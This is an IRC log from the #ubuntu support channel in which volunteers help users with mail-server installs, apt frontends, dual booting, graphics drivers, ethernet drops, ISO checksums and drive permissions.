[19:36] <alkisg> Like, setting the frontend...
[19:36] <nacc> alkisg: good call, i wondered that now too
[19:36] <conley> nope
[19:37] <nacc> conley: their installer script may have set some?
[19:37] <conley> i ran env | grep DEBCONF and nothing showed
[19:37] <roothorick> elias_a: I'd guess that, more commonly, attackers use some mostly-unrelated exploit to get into the system and then install that trojan, as the article hinted at
[19:37] <roothorick> elias_a: said exploit is what you'd actually harden the system against
[19:38] <JeSTeRH4CK3D> :0
[19:38] <elias_a> roothorick: You're quit right. Ty.
[19:39] <roothorick> elias_a: technically, guessing a default password would be one such exploit :p
[19:39] <JeSTeRH4CK3D> you all just watch out how you setup phpMyAdmin and the perm. you give it.
[19:39] <Ralph_> conley: could you look into file /etc/passwd and /etc/group
[19:39] <JeSTeRH4CK3D> just saying
[19:39] <conley> for what, Ralph_? mysql-related entries?
[19:39] <roothorick> as always, the weakest link is always the humans behind the keyboards
[19:40] <JeSTeRH4CK3D> yes
[19:42] <JeSTeRH4CK3D> roothorick: you into automated bash scripts?
[19:42] <JeSTeRH4CK3D> i need a opinion of someone i dont even know lol
[19:42] <roothorick> they're only a means to an end to me
[19:43] <roothorick> and even then, I tend to turn to Python instead
[19:43] <JeSTeRH4CK3D> well you might like this one
[19:43] <JeSTeRH4CK3D> its like ubuntu harneding terminal style for dummy's
[19:43] <roothorick> say what you will, Python is probably the best language out there for throwing something together in a few minutes
[19:44] <JeSTeRH4CK3D> WELL bash can be places in the /usr/sbin file without making multi files to do so
[19:44] <roothorick> JeSTeRH4CK3D: eh, if stock 16.04 isn't hard enough for you, you probably should be running OpenBSD
[19:45] <JeSTeRH4CK3D> hahahaha funny you say that. i run that as well
[19:45] <JeSTeRH4CK3D> just for my laptop i run ubuntu
[19:45] <roothorick> IMO, unless you're a national security organization of some time, PMC, etc. OpenBSD is overkill
[19:45] <roothorick> *of some kind
[19:46] <JeSTeRH4CK3D> not really, its still underkill in my view
[19:46] <JeSTeRH4CK3D> never have to much security
[19:46] <ducasse> !ot
[19:47] <roothorick> Ubuntu is way more secure than it looks like at first glance. Worms rarely, if ever, target Linux, so all you really need to worry about is manually-orchestrated direct attacks
[19:47] <roothorick> not a legitimate concern for home systems IMO
[19:47] <conley> I found a PAM-related bug that i just squashed, let's see if that effects my MySQL config
[19:47] <conley> problem
[19:48] <JeSTeRH4CK3D> and SKids that run MSF
[19:48] <JeSTeRH4CK3D> lol oh and dumb end users
[19:48] <roothorick> well, I shouldn't say that
[19:48] <JeSTeRH4CK3D> :"\
[19:48] <roothorick> there's worms out there that target vulnerable versions of Apache, SSH, etc
[19:48] <JeSTeRH4CK3D> thats why i made that script dude for the dumb end user
[19:48] <JeSTeRH4CK3D> phpbot
[19:48] <JeSTeRH4CK3D> that was what i was saying
[19:49] <roothorick> but the simpler, more hardened software stack on Linux and rapid response of security maintainers make them far less of a threat than they would be on, say, Windows
[19:49] <JeSTeRH4CK3D> phpMyAdmin is not setup right i could own you
[19:49] <JeSTeRH4CK3D> if you did setup right your good
[19:49] <roothorick> yep, the weakest link is ALWAYS the humans behind the keyboards
[19:49] <conley> hell yes.
[19:49] <JeSTeRH4CK3D> yes
[19:50] <conley> the apt-get version still freezes, but the package i downloaded accepted the password
[19:50] <JeSTeRH4CK3D> if spt-get freezes try apt instead
[19:50] <JeSTeRH4CK3D> grrr
[19:50] <JeSTeRH4CK3D> apt-get*
[19:51] <JeSTeRH4CK3D> some prefer apt over apt-get
[19:51] <JeSTeRH4CK3D> same thing sort of
[19:53] <roothorick> what is the difference exactly, anyway
[19:53] <tomreyn> the difference between #ubuntu and #ubuntu-offtopic?
[19:53] <JeSTeRH4CK3D> i think just the layout
[19:53] <JeSTeRH4CK3D> i dont think the code is very diff.
[19:55] <conley> JeSTeRH4CK3D: I'm still really not sure of the difference
[19:56] <k1l_> apt and apt-get are similar frontends to the same libs. its just that the usage from apt-get,apt-cache etc has changed in the years and apt is not merging them and changing them to todays usage
[19:56] <JeSTeRH4CK3D> conley: very minor, mainly look
[19:56] <JeSTeRH4CK3D> lol
[19:56] <conley> repositories and packages and the like are still black magic to me
[19:57] <conley> what does "aptitude" refer to
[19:57] <conley> is dpkg one of those libs?
[19:57] <nacc> conley: it's another frontend
[19:57] <JeSTeRH4CK3D> dpkg is like the main line for everything
[19:57] <conley> ah
[19:57] <nacc> conley: aptitude is, that is
[19:57] <conley> sweet
[19:58] <conley> i like to think of myself as at least more tech savvy than the average bear but that shit still confuses me very much
[19:58] <JeSTeRH4CK3D> just a bunch of frontended stuff
[19:58] <k1l_> aptitude is a nother frontend to the libe. it tried to put some more logic into solving dependency issues, but they are not stored in a way apt or others can work with.
[19:58] <k1l_> conley: what is your issue at all?
[19:58] <conley> no issue anymore, just curious
[19:59] <conley> ........nevermind, new issue
[19:59] <k1l_> using apt when apt-get doesnt work is not a real solving strategy
[19:59] <JeSTeRH4CK3D> you will notice ubuntu/debian has alot of redundant frontended apps
[20:00] <conley> iRedMail installer hanging again, this time at Creating new user openldap... Password:
[20:00] <conley> i'm gonna throw this laptop out the window lmao
[20:00] <JeSTeRH4CK3D> just based on preference
[20:01] <arooni> how can i make the default editor that i get with sudo crontab -e ... vim and NOT nano ?
[20:01] <JeSTeRH4CK3D> you need to reinstall, you have been told that by more than me.
[20:01] <k1l_> conley: hanging? some installation routines need some user input
[20:01] <conley> k1l_: yes, but it stops responding
[20:01] <conley> echoes characters in plain text, doesn't continue after pressing enter
[20:01] <ducasse> arooni: set EDITOR env variable
[20:02] <OerHeks> " If you have already installed MySQL, OpenLDAP, Postfix, Dovecot etc then iRedmail will overwrite all files and configuration of existing components."... love that iredmail
[20:02] <arooni> ducasse: crontab -e gives me vim; but sudo crontab -e gives me nano
[20:02] <nacc> conley: i think it's 100% a bug in their script(s)?
[20:02] <nacc> conley: probably better off asking them what their script does, or debug it yourself.
[20:02] <conley> i reckon so
[20:02] <JeSTeRH4CK3D> conley: do you get error messages at all?
[20:02] <conley> JeSTeRH4CK3D:  nope, just stops.  doesn't even respond to interrupts
[20:02] <ducasse> arooni: because crontab gets called from a root shell with sudo
[20:03] <JeSTeRH4CK3D> conley: that is very strange
[20:03] <arooni> so do i need do taht command after running say sudo -i
[20:03] <arooni> ?
[20:03] <conley> yeah.  it would make sense to assume that it's a problem with their script, but it's shown up in two separate places
[20:03] <conley> and the first one went away after i fixed my pam.d configuration
[20:03] <nacc> conley: what did you have to fix in your pam.d configuration?
[20:04] <ducasse> arooni: try 'sudo update-alternatives --config editor'
[20:04] <nacc> conley: ok, it's possible you've fubar'd your system, too, yes :)
[20:04] <JeSTeRH4CK3D> conley: what is the script you are using?
[20:04] <conley> password required pam_unix.so <miscellaneous options> use_authtok
[20:04] <conley> use_authtok prevented me from doing anything with root password
[20:04] <arooni> ducasse: switched it but i still see nano for sudo crontab -e ;  maybe i have to restart?
[20:05] <k1l_> arooni: source it or r elogin
[20:05] <conley> eh? i tried it again and got further this time
[20:06] <conley> yea, i'm getting more ldap prompts.  i guess that was trivial... hopefully...
[20:06] <arooni> gotcha thanks folks
[20:07] <JeSTeRH4CK3D> conley: without error messages we are as clueless as you so i hope it works now
[20:07] <conley> user creations have been successful, that was where it hung last time.  clearly it's a problem with passwd related functions, but, knock on wood, it's working for now
[20:07] <conley> thank you for your help, by the way, y'all
[20:08] <JeSTeRH4CK3D> conley: hope all works out for you
[20:08] <conley> many thanks
[20:09] <ling> how to fix with "no mountable file"
[20:09] <oslozorin> bonsoir
[20:09] <tomreyn> hi ling, hi oslozorin
[20:10] <tomreyn> ling: please provide more context. what is the command you are runjing?
[20:10] <tomreyn> *running
[20:10] <LMGR> Loud-Mouthed Gucci Revolutionary has joined
[20:10] <conley> script completed (mostly) successfully
[20:11] <JeSTeRH4CK3D> conley: good, hope it works now.
[20:11] <conley> a few miscellaneous packages failed but i guess i can tackle them independently
[20:11] <conley> thank you.  i've spent way too much time getting this damn mail server to work
[20:11] <jnewt> trying to boot from usb disk, and i get an error about nouveau gr: failed to load fecs_inst.  i found someone that was having the same issue, and removing secondary monitors fixed it.  I had 3 monitors, now i've removed all but one, and still get the same error.
[20:11] <JeSTeRH4CK3D> conley: mail servers are always fun.
[20:12] <Guest57053> when i open ubuntu, it shows no mountable system
[20:12] <jnewt> i get to the point where i can choose either live or install (couple of other options too), but then i get that error
[20:13] <JeSTeRH4CK3D> Guest57053: when you boot before grub or after?
[20:13] <JeSTeRH4CK3D> i know grub is dated
[20:13] <JeSTeRH4CK3D> jnewt: what is the error?
[20:16] <LMGR> worlds biggest maximum security to start soon:Trump: Construction on US-Mexico border wall to start soon
[20:16] <LMGR> and we all heaved a big sigh of relief
[20:16] <Pici> LMGR: Please stop, this channel is for Ubuntu support only.
[20:17] <LMGR> the wall is in support of ubuntu too
[20:17] <JeSTeRH4CK3D> Ubuntu support when the users respond back.
[20:18] <JeSTeRH4CK3D> jnewt: did you get a read out of the error?
[20:18] <ioria> LMGR, https://en.wikipedia.org/wiki/Ubuntu_(philosophy)
[20:18] <ragecraze> guys if i make a partition of 30gb on my computer and install linux on it, can i still keep windows 10? and if so, how can i change between both when i want to?
[20:19] <JeSTeRH4CK3D> you would have to install a dual boot
[20:19] <rypervenche> ragecraze: Yep, you can. You can do a dual-boot set-up. You will have a choice when you boot as to which OS to start.
[20:19] <JeSTeRH4CK3D> ^^^^^^^^^^^
[20:19] <ragecraze> rypervenche how can i set a dual-boot?
[20:20] <ducasse> !dualboot | ragecraze
[20:21] <ragecraze> thanks alot!
[20:21] <JeSTeRH4CK3D> in the XP days that wouldn't have even been an issue
[20:23] <JeSTeRH4CK3D> root2: one should never join irc as su or root, so i am told.
[20:23] <jnewt> JeSTeRH4CK3D, Yes, nouveau 0000:02:00.0: gr: failed to load fecs_inst
[20:24] <JeSTeRH4CK3D> jnewt: driver conflict
[20:24] <jnewt> then several of these: noveau 0000:02:00.0: disp: child 0 mthd  0080 data 00000000 1005080 00000004
[20:24] <jnewt> JeSTeRH4CK3D, How do i fix it?
[20:25] <JeSTeRH4CK3D> out of my league
[20:25] <JeSTeRH4CK3D> sorry
[20:25] <ioria> jnewt, try nomodeset (F6 option)
[20:26] <skiy> hey, if I install "server" edition, can I do a "apt-get dist-upgrade" to the desktop version ?
[20:26] <root2> JesTerH4CK3D never knew
[20:26] <skiy> I only have 700 mb CD's so not big enough to burn whole desktop edition
[20:27] <Pici> skiy: well, thats not what dist-upgrade does... but you can install the ubuntu-desktop package to get you that.
[20:27] <LMGR> chinese new year is nearly upon us, is ubuntu support prepared for that?
[20:27] <ioria> skiy, server will ask you if yiou want a De ... you can say yes or install after
[20:28] <skiy> ioria very many thanks
[20:28] <ioria> skiy, you're welcom
[20:30] <donofrio> has /dev/random changed in the last year
[20:31] <ppf> donofrio: in what way?
[20:31] <Guma>  Hello I am trying to cross compile ncurses 6 to aarm64 on 16.04 x64 LTS. I have my aarm64 tool chain setup and I can build small test apps and run it on target. Now when I try to build ncurses I get so and a libs which I do static link to my test app. When trying to run on target I get this message "Error opening terminal: xterm-256color"
[20:31] <Guma> Any one idea what is going on?
[20:31] <donofrio> unable to complete the dd command when making certs
[20:33] <k1l_> donofrio: not enough entropy?
[20:33] <donofrio> k1l_, "seems like it"
[20:33] <donofrio> k1l_, but how to test?
[20:33] <k1l_> donofrio: just use your system so it can collect more entropy
[20:34] <donofrio> they are 'in use' uptime of a month on a daily driver workstation
[20:34] <ducasse> Guma: you probably lack a termcap entry for xterm-256color, try to set TERM to just xterm
[20:35] <k1l_> hmm, you could try urandom instead of random
[20:36] <ppf> donofrio: that would be the wiser choice anyways, if you're making certs from this
[20:37] <jnewt> Ok, I finally got into the install, and i'm trying to install alongside windows.  How do i determine where the bootloader should go (or can i just continue to use the windows 7 bootloader and add ubuntu to it's menu somehow?)
[20:37] <k1l_> donofrio: on virtual servers it doesnt work at all with random.
[20:38] <donofrio> k1l_, yah thought of that, but ubuntu workstation is physical....so we're going to try urandom
[20:38] <jnewt> i have /dev/nvme /dev/nvme0n1 with partitions p1(win loader) p2 (windows), p3 (/) p4 (/home).  default shows /dev/nvme
[20:39] <donofrio> but /dev/random that is like bedrock made before cat....
[20:40] <akik> jnewt: it's possible to add the boot sector to windows boot loader but usually people use grub to boot windows
[20:49] <Guma> ducasse: I did try to set to xterm same message but "xterm"
[20:50] <Guma> Not sure of this is a problem but 16.04 comes with ncurses 5.x and I am building my app ncurses 6.
[20:50] <Guma> is there some compatibility issue or I have to move some files to target beside my binary?
[20:52] <ducasse> Guma: i'm guessing you need terminfo
[20:55] <Guma> ducasse: well I am building ncurses with --enable-termcap
[20:56] <ducasse> Guma: are there termcap entries for xterm and xterm-245color?
[20:56] <Guma> so everything build. Runtime is issue. Are are you refering to termcap config I need to move to target and where.
[20:56] <Guma> I think they are let me check
[21:01] <Guma> ducasse: I see only xterm+256color in /usr/share/terminfo/x/ So I guess xterm-256color is missing?
[21:02] <ducasse> Guma: no idea, but this is not really within the scope of #ubuntu, try ##linux
[21:03] <Guma> ok
[21:08] <codemann_> Anyone has any experience with Intel Video Cards not getting higher then 1024x768 on a Ubuntu Gnome? I've been playing around with xrandr, where I keep getting "Configure crtc 0 failed" while I actually got the mode from running cvt. I also went to 01.org and downloaded update tool for Linux, which ran without a problem... I just can't get my monitor higher then 1024x768
[21:08] <codemann_> I'm starting to think that it's because it's currently connected with VGA, but when there are 2 screens on it at work, one is also connected with VGA and in Windows (pardon my french) it worked perfectly.
[21:09] <codemann_> I wanted to impress my boss with a nice Linux installation, it's not going that good so far :-)
[21:13] <MonkeyDust> codemann_  i saved this quote, here, in #ubuntu ... 'you won't get a system that behaves the same way as a windows system.. linux has its own advantages and disadvantages.. you just learn to live with a different set of annoying things =)'
[21:13] <deus402> so i have been having problems with randomly losing my ethernet connection, and i have finally caught it in the act, but i also don't necessarily see anything of note in my log files. i lost connection at exactly 14:36:06, here is my syslog: http://termbin.com/hkt4 and here is my kern.log: http://termbin.com/ecck at about 14:50 i clicked on the connection in the menu bar, which brings it back
[21:13] <deus402> for some reason, which you can see happen in the kern.log at 14:49:31. can anyone shine any light on what is going on? seems to happen randomly without reason.
[21:14] <codemann_> MonkeyDust, I don't expect it to, just trying to figure out why it doesn't work :-)
[21:14] <deus402> i am on 16.04 btw.
[21:14] <jnewt> I got ubuntu mate installed on my computer and did the software updates.  now i have no mouse pointer.  i can see when things are higlighting when moving the mouse around, but no actual icon for the pointer
[21:14] <codemann_> Just got in the paranoid phase and I'm trying to replace my cable now ;-)
[21:14] <thanatos-inc_> deus402: 2 possible causes: faulty drivers or a power saving feature
[21:15] <k1l_> jnewt: can you change to a tty1 and back? ctrl+alt+f1 and then ctrl+alt+f7
[21:15] <codemann_> you are f**king kidding me
[21:15] <quint> Is anybody familiar with setting up a split tunnel with more than one remote network?
[21:15] <codemann_> 4h of my evening ON A BAD CABLE
[21:16] <quint> that is, with the native pptp dialer
[21:16] <jnewt> k1l_: ctrl+alt+f1 just froze everything
[21:16] <codemann_> The upside is... I learned a lot about configuring your video driver and screen
[21:16] <deus402> thanatos-inc_: dmesg | grep eth http://termbin.com/mefy
[21:16]  * codemann_ starts hitting his head on the table
[21:16] <deus402> from my understanding the intel nics are heavily supported, so where would i start looking for power saving issues?
[21:16] <k1l_> jnewt: what video card is it? and what driver in use?
[21:17] <Bashing-om> codemann_: :) .. but all smiles now .
[21:17] <Metalindustrien> After 48 hours of attempting to get Ubuntu MATE installed on my MacBook Pro I'm really close to giving up... I've installed rEFInd, so booting from a USB Flash drive is not a problem, I've even succesfully made a flash drive with Ubuntu MATE 6.10 on it, and I can get to the GRUB bootloader and choose 'Try Ubuntu MATE live'. But after that I just get a black screen. I've tried waiting for HOURS but the screen remains
[21:17] <Metalindustrien>  black. What am I doing wrong here?
[21:17] <codemann_> Bashing-om, I'm smiling and crying at the same time, very weird feeling
[21:18] <jnewt> k1l_: nvidia m2000, haven't been able to get any drivers from nvidia yet, I would like a mouse before i start trying to find drivers on their website
[21:18] <thanatos-inc_> deus402: I'm afraid, I have no idea :(
[21:18] <codemann_> When I considered the cable I was like... Nahhh, can't be it... But let's just try it out...
[21:18] <k1l_> jnewt: no, ubuntu ships nvidia drivers
[21:19] <codemann_> ok, back to configuring this computer.. I want to thank my brain for helping out ;-)
[21:19] <stormmore> hey so before I ask for help, is this the best channel to ask about problems with "Bash on Windows" or is there a better one?
[21:19] <codemann_> Later guys!
[21:20] <kernello> hello everyone, after I ended nautilus process in system monitor, the desktop area is now shown empty (although when I open desktop folder in nautilus, I see my folders and files under it. how can I get them shown again normally?
[21:21] <skiy> jnewt nvidia used to be pretty good at getting linux drivers out fast for their chips
[21:21] <k1l_> !bashonwindows
[21:21] <skiy> jnewt because of unified driver architecture
[21:21] <jnewt> k1l_: yeah, says product and vender are NVIDIA Corporation
[21:22] <k1l_> jnewt: ubuntu ships nvidia driver packages in the repos already.
[21:22] <skiy> I used to have linux on Dell XPS, until the nvidia chip melted of course
[21:22] <k1l_> stormmore: yes, there is a dedicated channel i am not recognizing the name but you can search with alis
[21:22] <k1l_> !alis | stormmore
[21:23] <jnewt> it says driver=nouveau
[21:23] <k1l_> jnewt: system-settings > software and updates > last tab. choose the nvidia driver there
[21:23] <shomon> hi, so I have a broadcom bcm4323 usb wireless drive, and I'm trying to get ndiswrapper to configure it properly or whatever needs to drive it from my ubuntu box..
[21:23] <shomon> I have the latrest mcmwl-kernel-source package..
[21:23] <k1l_> shomon: no, dont use ndiswrapper. that is deprecated
[21:23] <shomon> bcmwl-I mean
[21:24] <shomon> how do I get rid of it?
[21:24] <k1l_> !bcm43 | shomon
[21:24] <k1l_> !bcm43xx
[21:24] <k1l_> ^
[21:24] <stormmore> k1l_ thanks, I would have though there was. of course I have no clue what they would list it as and searching for bash doesn't help
[21:25] <MrKeuner> hello, why would I get this in dmesg? EXT4-fs (sda): couldn't mount as ext3 due to feature incompatibilities...  As far as I can tell, disktype /dev/sda reports ext4 and /etc/fstab appears to mount the partition as ext4
[21:25] <jnewt> ah, i see, it's set to Using X.Org X server.  I'm switching to the NVIDIA binary driver v 367.57
[21:25] <shomon> thanks k1l_ !
[21:27] <orgy> hi, I configured a user level anacron.daily job which is supposed to be doing an rsync backup to my nas. when running it manually via run-parts there is no problem. but anacron seems to be unable to run it automatically (and my nas blocks this ip). how do I find out what the problem is, the only output i get from anacron is in syslog: http://paste.ubuntu.com/23865738/
[21:27] <k1l_> !ubuwin | stormmore
[21:41] <captn_hook> Hello all! Quick question (not super gentoo specific, but I'm using gentoo so that's why I came here). When i run lsof for a particular process, it's showing TCP connections established and closed. What are the closed ones? I notice some connections will establish, and once they are closed they disappear, but others hang around forever. Can anyone help me with this?
[21:41] <captn_hook> Except, I'm not using gentoo obviously :)
[21:41] <k1l_> captn_hook: if you already know its not ubuntu or ubuntu related you might want to ask in ##linux in first place
[21:43] <Genuine> anyone has information on ubuntu phone?
[21:44] <k1l_> Genuine: #ubuntu-touch has
[21:44] <Genuine> thanks sir
[21:44] <xRob_> yo ubuntu, I don't understand printing.
[21:44] <Genuine> or ma'am
[21:44] <xRob_> Let's say I connect to a wifi that has one of those wifi printers
[21:44] <xRob_> how do I print to it?
[21:47] <fishcooker> should we trust this http://releases.ubuntu.com/14.04/ubuntu-14.04.5-server-amd64.iso.torrent download... because i can't find the match md5sum /sha1sum for this image?
[21:48] <OerHeks> fishcooker, the md5sums are in that same folder http://releases.ubuntu.com/14.04/MD5SUMS
[21:48] <jhutchins_wk> xRob_: You set the printer up using the configuration menu or cups.
[21:49] <fishcooker> OerHeks: i use alternate download one from bit torrent
[21:49] <stormmore> awesome thanks k1l_
[21:49] <xRob_> jhutchins_wk: ahh I see, ty
[21:50] <stormmore> but of course  noone is in there :-/
[21:50] <OerHeks> fishcooker, that does not give different checksums.
[21:50] <fishcooker> it looks like official bittorrent download
[21:50] <fishcooker> yes it is diff
[21:50] <fishcooker> the name iso image also
[21:53] <fishcooker> $ sha1sum ubuntu-14.04.5-server-amd64.iso
[21:53] <fishcooker> 5e567024c385cc8f90c83d6763c6e4f1cd5deb6f  ubuntu-14.04.5-server-amd64.iso
[21:53] <fishcooker> $ md5sum ubuntu-14.04.5-server-amd64.iso
[21:53] <fishcooker> dd54dc8cfc2a655053d19813c2f9aa9f  ubuntu-14.04.5-server-amd64.iso
[21:53] <OerHeks> bittorrent <> torrent .. dd54dc8cfc2a655053d19813c2f9aa9f *ubuntu-14.04.5-server-amd64.iso .. looks perfectly oke
[21:53] <k1l_> !md5sums
[21:54] <k1l_> fishcooker: the isos do have the same hashes no matter how you load them.
[21:54] <OerHeks> sha1sum 5e567024c385cc8f90c83d6763c6e4f1cd5deb6f *ubuntu-14.04.5-server-amd64.iso also oke
[21:54] <k1l_> fishcooker: look here: http://releases.ubuntu.com/14.04.5/MD5SUMS
[21:56] <deus402> anyone else have any ideas where to start looking at my ethernet connectivity issues?
[21:57] <fishcooker> http://cdimage.ubuntu.com/ubuntu/releases/14.04.5/release/SHA1SUMS and http://cdimage.ubuntu.com/ubuntu/releases/14.04.5/release/MD5SUMS
[21:57] <fishcooker> thanks OerHeks k1l_ for pointing
[21:57] <OerHeks> fishcooker, have fun
[22:00] <tomreyn> deus402: start by telling us how you know it does not work as expected, how it would work as expected, what you have tried to make it work as expected.
[22:06] <memoryleak> Is there a way to automatically create an image of /dev/sda (mounted as /) to antother disk on shutdown? I'm imagining something like when I use the shutdown button that it shuts down to a minimal state and mounts the root filesystem ro in order to image the disk and to store it on another one
[22:07] <ttmx> Hey!
[22:08] <ttmx> How hard is it to make myself a temporary website that would boot off a live usb?
[22:08] <elisa__> eliusa
[22:08] <elisa__> elisa
[22:09] <OerHeks> memoryleak, see http://askubuntu.com/questions/83473/how-to-execute-script-on-shutdown or http://ccm.net/faq/3348-execute-a-script-at-startup-and-shutdown-on-ubuntu
[22:09] <deus402> tomreyn:
[22:10] <tomreyn> is present, but lacks info
[22:10] <deus402> tomreyn: so i have been having problems with randomly losing my ethernet connection, and i have finally caught it in the act, but i also don't necessarily see anything of note in my log files. i lost connection at exactly 14:36:06, here is my syslog: http://termbin.com/hkt4 and here is my kern.log: http://termbin.com/ecck at about 14:50 i clicked on the connection in the menu bar, which brings
[22:10] <deus402> it back for some reason, which you can see happen in the kern.log at 14:49:31. can anyone shine any light on what is going on? seems to happen randomly without reason.
[22:10] <OerHeks> ttmx, that would require LAMP installed, unlikely to do that on a live iso, unless you are willing to remaster
[22:10] <ttmx> What would be the best VM to run ubuntu in?
[22:10] <ttmx> And could I get that ubuntu system moved to a live usb?
[22:10] <ttmx> remaster?
[22:11] <ttmx> *cringes at his own questions*
[22:11] <deus402> when i lose connection, i completely lose the ethernet connection. I cannot ping the box by ip. it can either be fixed by locally clicking on the connection in network manager (?) in the taskbar, or by rebooting the router that it is connected too.
[22:12] <OerHeks> ttmx, best VM? KVM i suppose. moving an installed system to live usb? no.
[22:13] <ttmx> Awn :(
[22:13] <ttmx> No way?
[22:13] <ttmx> Impossibruh?
[22:13] <ttmx> So I cannot work on it on a vm and then boot it on another pc "natively"?
[22:15] <OerHeks> ttmx, again no, any VM uses special drivers for display and such.
[22:15] <memoryleak> OerHeks, thanks that helps. Just last question, what would be the best runlevel to remount / as readonly, I'm assuming runlevel1?
[22:16] <deus402> tomreyn: anywhere else i should be looking? or any other info i can provide?
[22:17] <OerHeks> memoryleak, runlevel1 i guess too, single user.
[22:17] <tomreyn> deus402: maybe "dmesg -T", if you haven't rebooted since
[22:18] <deus402> tomreyn: i have now rebooted since, but i did check dmesg after the event and there was nothing logged.
[22:18] <ttmx> Can I run a server inside a VM and have people in the same network connect to it?
[22:18] <tomreyn> deus402: the line "Jan 25 14:36:06 ubuntu whoopsie[1234]: [14:36:06] Cannot reach: https://daisy.ubuntu.com" suggests that some process crashed and the bug reporting utility tried to upload infomration about this crash, maybe if you can identify the crashing process you can identify what causes the network connection to fail.
[22:20] <tomreyn> deus402: okay without loigs it can be more diffivult. maybe you have something left in /var/crash/ ?
[22:20] <deus402> i like it. any idea where to start looking for that? does whoopsie have a log somewhere?
[22:20] <jnewt> i lost my top and bottom bars on my desktop.  using ubuntu-mate
[22:21] <tomreyn> deus402: i'm afraid i dont know where it logs to. well, syslog apparently, based on that1 line, which is not telling.
[22:21] <deus402> http://termbin.com/yn7u
[22:21] <deus402> ^ /var/crash
[22:22] <deus402> the onling thing i see around the relevent time is compiz, but that was after the reboot.
[22:22] <deus402> wow.
[22:22] <deus402> *the only thing i see
[22:24] <troy1> Im getting super annoyed with permission issues of an external hard drive
[22:25] <troy1> its ext 4 and i want all users to read and write
[22:25] <tomreyn> deus402: right, those are not relevant for this issue. in kern.log you have "Jan 25 13:36:05 ubuntu NetworkManager[1199]: <info>  [1485372965.9311] dhcp4 (eth3): state changed bound -> bound", which is, in contrary to previous occasions, not followed up by dhcp client configurations
[22:25] <k1l_> troy1: how is it mounted? with gvfs or manually?
[22:25] <troy1> manually /etc/fstab i have it mounted to /media/external
[22:26] <tomreyn> deus402: this may indicate that your dhcp server 'forgot' to provide those configurations as part of the dhcp ack. or they were lost on the wire. or they wer elost by your dhcp client.
[22:27] <tomreyn> deus402: so you seem to have multiple NICs. if they're not all in use, then try to switch to a different one and see whether that solves the issue. also, try a different wire if you haven't. and correlate your routers' logs.
[22:27] <troy1> k1l_: this is my fstab http://paste.ubuntu.com/23866074/
[22:27] <k1l_> troy1: what are the permissions and owner of /media/external ?
[22:27] <deus402> i only have the one nic, not sure why it shows up as eth3
[22:28] <deus402> already switched from cat5e to new cat6 cable, and switched ports on the router as well, just for fun.
[22:28] <troy1> it keeds changing which is annoying. permission not sure how to tell but i did set it 777. owner is qtuser.
[22:29] <deus402> it does seem to happen more often when under heavy network traffic to the server, but it also occaisonally happens while it's just idling.
[22:29] <k1l_> troy1: ls -al /media/
[22:30] <troy1> drwxrwxrwx 12 qtuser colord 4096 Jan 25 17:29 external
[22:30] <jnewt> how do i get missing top and bottom bars back on ubuntu-mate (disappeared after updating software and driver and then rebooting).  Mouse was missing, now it's back but the bars are gone (along with clock, menus, etc)
[22:31] <k1l_> troy1: you can add "umask=000" as mount option in fstab
[22:31] <tomreyn> deus402: have you tried static adressing?
[22:32] <deus402> tomreyn, and by high traffic i mean i hit ~3300 time_wait connections under load. also, i see that the lease time dhcp lease time was set to 1 hour, which seems really low to me, but it was also looking for a new lease  about every 30 minutes.
[22:33] <deus402> it seems like a logical thing to try. i'll see if i can remotely lock myself out, heh.
[22:33] <troy1> k1l_: so right next to auto,user,umask=000
[22:34] <troy1> k1l_: and what's that suppose to do?
[22:34] <k1l_> yes
[22:34] <tomreyn> deus402: 's part of the specification that the dhcp client requests a new lease after $lease_time / 2.
[22:35] <tomreyn> *it's
[22:35] <deus402> gotcha
[22:36] <deus402> set the ip statically, but am i correct in assuming that an hour lease is asininely low?
[22:36] <tomreyn> if 1h is too low, maybe reconfigure it on the router. normally 1h is fine, though, and they may have set it to that globally since it does make sense for wireless routers.
[22:37] <jnewt> is there a way to rollback the last set of software updates?
[22:39] <tomreyn> deus402: you could also run an iperf between two LAN hosts and see whether it helps you reproduce the issue, which can then make debugging easier. you could then take a packet dump for a short time and reproduce it again, which may help further diagnosing the issue.
[22:40] <tomreyn> jnewt: not really / not easily. you can downgrade packages but it's not recommended or easily done (when it comes to resolving dependencies).
[22:40] <tomreyn> jnewt: why would you need to, though?
[22:41] <jnewt> tomreyn: did the set of recommended updates (on ubuntu-mate), and now i've lost my menu bars and mate-panel --reset (the only fix i could find), just kicks the desktop Home icon up and down by a bit.
[22:44] <jnewt> i'm on 16.04.1 LTS
[22:45] <k1l_> jnewt: does the guest account work?
[22:46] <tomreyn> hmm, i'm not familiar with iut, but am surprised such would happen on an lts if you only install security patches. maybe you have some 3rd party repositories which are getting in the way?
[22:46] <fishcooker> on windows i used to use yumi on windows https://www.pendrivelinux.com/yumi-multiboot-usb-creator/... AFAIK i always failed when using unetbootin from ubuntu...
[22:47] <jnewt> k1l_: no, bars are missing on guest account too
[22:47] <k1l_> fishcooker: creating a ubuntu usb? on what OS?
[22:47] <jnewt> i get the desktop background and a home folder and that's it.
[22:48] <k1l_> jnewt: sounds like a video driver issue. did you restart after changing the drivers?
[22:48] <k1l_> fishcooker: unetbootin wants to change the boot menue etc and that breaks the ubuntu isos.
[22:48] <jnewt> k1l_: yeah, that's when the mouse came back and the bars disappeared.
[22:51] <fishcooker> yes ubuntu live usb on ubuntu... FYi, on windows i used to use YUMI
[22:51] <k1l_> fishcooker: ubuntu ships the "usb-creator"
[22:51] <k1l_> on windows i recommend "rufus"
[22:52] <k1l_> fishcooker: and since ubuntu isos are hybrid isos you can just dd /cp them onto the bare devicefile
[22:59] <deus402> tomreyn: i'll look into iperf / packet dump if the static ip doesn't resolve the issue.
[23:00] <tomreyn> good luck then :)
[23:03] <jnewt> I have the top bar at the login screen, but it disappears once i log in
[23:06] <jnewt> Looks like this is the same problem: http://askubuntu.com/questions/483358/mate-menu-is-missing/511113#511113  tried the reinstall, no luck.  should i trie the purge / install of mate stuff?
[23:07] <fishcooker> noted for rufus k1l_ and the usb-creator
[23:07] <k1l_> jnewt: so on a new account /guest account its the same issue?
[23:07] <jnewt> K1l_: yes
[23:07] <deus402> tomreyn, thanks, and thanks for the help.
[23:07] <jnewt> have top bar at login, once i login it's gone, and bottom never appears k1l_
[23:08] <tomreyn> welcome
[23:08] <k1l_> jnewt: can you pastebin the /var/log/Xorg.0.log ?
[23:09] <fishcooker> and the dd about iso hybrid too, k1l_
[23:11] <k1l_> jnewt: because i guess that is a driver issue
[23:13] <jnewt> k1l_: pasted.co/a976e88b
[23:13] <k1l_> jnewt: is that all?
[23:14] <k1l_> jnewt: you can run "cat /var/log/Xorg.0.log | nc termbin.com 9999"
